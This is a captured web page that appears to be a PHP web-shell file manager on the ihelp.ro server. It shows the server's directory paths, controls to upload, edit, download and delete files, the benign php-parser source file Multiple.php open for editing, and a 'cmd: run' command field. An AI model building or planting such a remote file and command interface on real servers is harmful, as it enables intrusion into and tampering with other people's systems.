/
var
/
www
/
vhosts
/
ihelp.ro
/
httpdocs
/
vendor
/
nikic
/
php-parser
/
lib
/
PhpParser
/
Parser
/
/var/www/vhosts/ihelp.ro/httpdocs/vendor/nikic/php-parser/lib/PhpParser/Parser
mkdir
upload
Name
Size
Mode
Actions
Multiple.php
1652
0644
edit
dl
rm
Php5.php
165645
0644
edit
dl
rm
Php7.php
177391
0644
edit
dl
rm
Tokens.php
4126
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/httpdocs/vendor/nikic/php-parser/lib/PhpParser/Parser/Multiple.php
(1652B)
<?php declare(strict_types=1); namespace PhpParser\Parser; use PhpParser\Error; use PhpParser\ErrorHandler; use PhpParser\Parser; class Multiple implements Parser { /** @var Parser[] List of parsers to try, in order of preference */ private $parsers; /** * Create a parser which will try multiple parsers in an order of preference. * * Parsers will be invoked in the order they're provided to the constructor. If one of the * parsers runs without throwing, it's output is returned. Otherwise the exception that the * first parser generated is thrown. * * @param Parser[] $parsers */ public function __construct(array $parsers) { $this->parsers = $parsers; } public function parse(string $code, ErrorHandler $errorHandler = null) { if (null === $errorHandler) { $errorHandler = new ErrorHandler\Throwing; } list($firstStmts, $firstError) = $this->tryParse($this->parsers[0], $errorHandler, $code); if ($firstError === null) { return $firstStmts; } for ($i = 1, $c = count($this->parsers); $i < $c; ++$i) { list($stmts, $error) = $this->tryParse($this->parsers[$i], $errorHandler, $code); if ($error === null) { return $stmts; } } throw $firstError; } private function tryParse(Parser $parser, ErrorHandler $errorHandler, $code) { $stmts = null; $error = null; try { $stmts = $parser->parse($code, $errorHandler); } catch (Error $error) {} return [$stmts, $error]; } }
Save
cmd:
run